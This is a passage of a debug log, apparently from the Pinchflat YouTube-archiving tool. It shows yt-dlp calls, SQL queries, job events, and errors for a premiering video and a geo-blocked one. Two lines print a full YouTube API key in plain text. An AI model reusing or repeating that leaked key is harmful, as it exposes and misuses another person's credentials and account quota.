17:07:15.985 [debug] Running yt-dlp command for action: get_media_attributes 17:07:15.986 [debug] QUERY OK source="settings" db=0.0ms idle=108.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:15.986 [debug] QUERY OK source="settings" db=0.0ms idle=108.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:15.987 [debug] QUERY OK source="settings" db=0.0ms idle=108.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:15.987 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/2a/c7/2ac745edf9ddda41f98a4aaf1c4e67549ccfb12a78d02036fadf54fa280d201b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:07:16.200 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b5oqQc9awuc --simulate --skip-download --output /downloads/Autism From The Inside/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/cf/2e/cf2ebc45e6b3617b63002cafda6bed1b8cb52098248c92c1d9ee6a42d0316a8e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b5oqQc9awuc: Premieres in 46 hours 17:07:16.200 [error] Error creating media item 'b5oqQc9awuc' from URL: {:error, "ERROR: [youtube] b5oqQc9awuc: Premieres in 46 hours\n", 1} 17:07:16.202 [debug] QUERY OK source="media_items" db=1.3ms idle=215.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 17:07:16.203 [debug] QUERY OK source="tasks" db=0.1ms idle=216.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800140, 32, ~U[2026-02-10 23:07:16Z], ~U[2026-02-10 23:07:16Z]] 17:07:16.203 [info] {"args":{"id":32},"id":3800102,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":1629555,"event":"job:stop","queue_time":496357,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:17.547 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/2a/c7/2ac745edf9ddda41f98a4aaf1c4e67549ccfb12a78d02036fadf54fa280d201b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:07:17.548 [error] Error creating media item 'NtHZ7IR88dg' from URL: {:error, "ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:07:17.550 [debug] QUERY OK source="media_items" db=1.7ms idle=1345.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 17:07:17.551 [debug] QUERY OK source="tasks" db=0.3ms idle=1341.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800141, 6, ~U[2026-02-10 23:07:17Z], ~U[2026-02-10 23:07:17Z]] 17:07:17.551 [info] {"args":{"id":6},"id":3800094,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":9985957,"event":"job:stop","queue_time":87597,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:25.584 [info] {"args":{"id":36},"id":3800103,"meta":{},"system_time":1770764845584880075,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:25.585 [debug] QUERY OK source="sources" db=0.1ms idle=706.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 17:07:25.585 [debug] QUERY OK source="settings" db=0.1ms idle=707.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:25.585 [debug] QUERY OK source="media_profiles" db=0.1ms idle=707.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:25.586 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:25.586 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 17:07:25.586 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:25.586 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:25.769 [debug] QUERY OK source="media_items" db=0.6ms idle=183.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "aIH7MZ1ZR8o", "SAywqmOO1tk", "zxa8quCs__I", "VUcJYnQNSX8", "o4gfcXlQ2SQ", "Sfycp2kvOQg", "TPqmGfulrfw", "YwhUHBpp6Ik", "B6Su6HUJNoY", "90uSWCHQaso", "v6Qazg9FCd8", "rGTSetnFRAk", "pmmEha5fbR4", "25Ica_QkHXY", "6-9PfdBo7vU", "P-rj56QjASc", "UxjEjOw0s8E", "mwM9ABnawTw", "mCwy1frO6MA", "oozugQHwDI4", "LFIu306va_c", "vJyv0rHJiq4", "7jZsenC-XC4", "4--zvaaKO3s", "Ga8RdTxzL2w", "7k_mPBs_F4k", "leFl8CfTOn4", "3AgrCN_VtEE", "X9ZXhDyBN4k", "uNDfc5domNY", "PBC4kkjS3P0", "BoYDhPVRorw", "tztHZ1qLTyw", "eNz6-B70WOs", "HRUVTzfqBTo", "K9V1c40vxu4", "OhM-qVsGG7w", "WVn1_qaUKOU", "rKFtrVF7CU8", "1Q8bHpz7aIo", "qoVFBOoVfJQ", "yFt223XU6Fs", "Eq8F6moYOjE", "q47Gom0X_sE", "YlCgi2Bozzo", "q3Astu36nx8", "a4z8Uv9RL9w", "XuNMN3_GGG4", "pvHELkFeMuM", ...] 17:07:25.770 [debug] QUERY OK source="media_items" db=0.7ms idle=184.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 17:07:25.771 [debug] QUERY OK source="tasks" db=0.1ms idle=184.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800142, 36, ~U[2026-02-10 23:07:25Z], ~U[2026-02-10 23:07:25Z]] 17:07:25.771 [info] {"args":{"id":36},"id":3800103,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":186556,"event":"job:stop","queue_time":503582,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:28.997 [info] {"source":"oban","duration":10357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:38.597 [info] {"args":{"id":23},"id":3800104,"meta":{},"system_time":1770764858597702203,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:38.598 [debug] QUERY OK source="sources" db=0.1ms idle=1719.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 17:07:38.598 [debug] QUERY OK source="settings" db=0.1ms idle=1719.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:38.599 [debug] QUERY OK source="media_profiles" db=0.7ms idle=1007.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:38.599 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:38.599 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 17:07:38.599 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:38.599 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:38.671 [debug] QUERY OK source="media_items" db=0.6ms idle=72.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", "S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", "djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", "D5xX6nRWDko", "XRVA5PMSKKE", "os4DcbpL0Nc", "QOJfyp0KMmM", ...] 17:07:38.671 [debug] QUERY OK source="media_items" db=0.2ms idle=73.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 17:07:38.672 [debug] QUERY OK source="tasks" db=0.1ms idle=73.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800143, 23, ~U[2026-02-10 23:07:38Z], ~U[2026-02-10 23:07:38Z]] 17:07:38.673 [info] {"args":{"id":23},"id":3800104,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":75197,"event":"job:stop","queue_time":529972,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:40.599 [info] {"args":{"id":10},"id":3800105,"meta":{},"system_time":1770764860599720386,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:40.599 [info] {"args":{"id":34},"id":3800106,"meta":{},"system_time":1770764860599754087,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:40.600 [debug] QUERY OK source="sources" db=0.1ms idle=721.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 17:07:40.600 [debug] QUERY OK source="sources" 